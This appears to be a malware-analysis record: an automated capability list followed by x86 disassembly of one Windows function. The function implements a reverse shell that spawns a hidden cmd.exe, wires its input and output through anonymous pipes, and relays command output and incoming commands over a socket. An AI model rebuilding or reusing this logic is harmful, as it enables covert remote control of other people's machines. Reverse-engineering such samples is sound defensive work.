Function at 0x401a10
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create process on windows
Create process suspended
Create reverse shell
Create two anonymous pipes
Download and write a file
Read and send data from client to server
Read file on windows
Read pipe
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [0x4182d0], 0xc
mov dword [0x4182d8], 1
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x78
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0xa
mov byte [ebp - 0x1d], 0
mov byte [ebp - 0x28], 0x45
mov byte [ebp - 0x27], 0x58
mov byte [ebp - 0x26], 0x49
mov byte [ebp - 0x25], 0x54
mov byte [ebp - 0x24], 0xa
mov byte [ebp - 0x23], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x4182d0
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_CreatePipe
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x4182d0
lea eax, [ebp - 0x14]
mov dword [esp + 4], eax
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_CreatePipe
sub esp, 0x10
mov dword [esp], 0x408260
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
mov dword [0x40828c], 0x101
mov word [0x408290], 0
mov eax, dword [ebp - 0x14]
mov dword [0x40829c], eax
mov eax, dword [ebp - 0x14]
mov dword [0x4082a0], eax
mov eax, dword [ebp - 0x10]
mov dword [0x408298], eax
mov dword [esp + 0x24], 0x4186e8
mov dword [esp + 0x20], 0x408260
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
mov eax, dword [0x4186e8]
mov dword [esp + 4], 0x408230
mov dword [esp], eax
call sub.KERNEL32.dll_GetExitCodeProcess
sub esp, 8
cmp eax, 0x103
jne 0x401bb1
mov eax, dword [0x4186ec]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [0x4186e8]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401df8
mov dword [0x4186e4], 0
mov dword [esp], 0x1f4
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x4186fc
mov dword [esp + 0xc], 0x4186e4
mov dword [esp + 8], 0xffff
mov dword [esp + 4], 0x4082c0
mov dword [esp], eax
call sub.KERNEL32.dll_PeekNamedPipe
sub esp, 0x18
mov eax, dword [0x4186e4]
test eax, eax
je 0x401ce0
jmp 0x401cd3
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x4186e4
mov dword [esp + 8], 0xffff
mov dword [esp + 4], 0x4082c0
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
mov dword [esp], 0x4082c0
call sub.msvcrt.dll_strlen
mov edx, eax
mov eax, dword [0x4186f8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], 0x4082c0
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov dword [esp + 8], 0xffff
mov dword [esp + 4], 0
mov dword [esp], 0x4082c0
call sub.msvcrt.dll_memset
mov dword [esp], 0x64
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x4186fc
mov dword [esp + 0xc], 0x4186e4
mov dword [esp + 8], 0xffff
mov dword [esp + 4], 0x4082c0
mov dword [esp], eax
call sub.KERNEL32.dll_PeekNamedPipe
sub esp, 0x18
mov eax, dword [0x4186e4]
test eax, eax
jne 0x401c12
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
mov dword [esp], 0x4182e0
call sub.msvcrt.dll_memset
mov eax, dword [0x4186f8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4182e0
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
lea eax, [ebp - 0x22]
mov dword [esp + 4], eax
mov dword [esp], 0x4182e0
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x401d52
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
mov dword [esp], 0x4182e0
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401d8b
mov dword [esp], 0x4182e0
call sub.msvcrt.dll_strlen
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x4182e0
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
jmp 0x401df8
mov dword [esp], 0x4182e0
call sub.msvcrt.dll_strlen
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x4182e0
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov dword [0x408080], 0
jmp 0x401de7
mov eax, dword [0x408080]
mov byte [eax + 0x4182e0], 0
mov eax, dword [0x408080]
add eax, 1
mov dword [0x408080], eax
mov eax, dword [0x408080]
cmp eax, 0x3ff
jbe 0x401dce
jmp 0x401b35
mov eax, dword [0x4186ec]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [0x4186e8]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
nop
leave
ret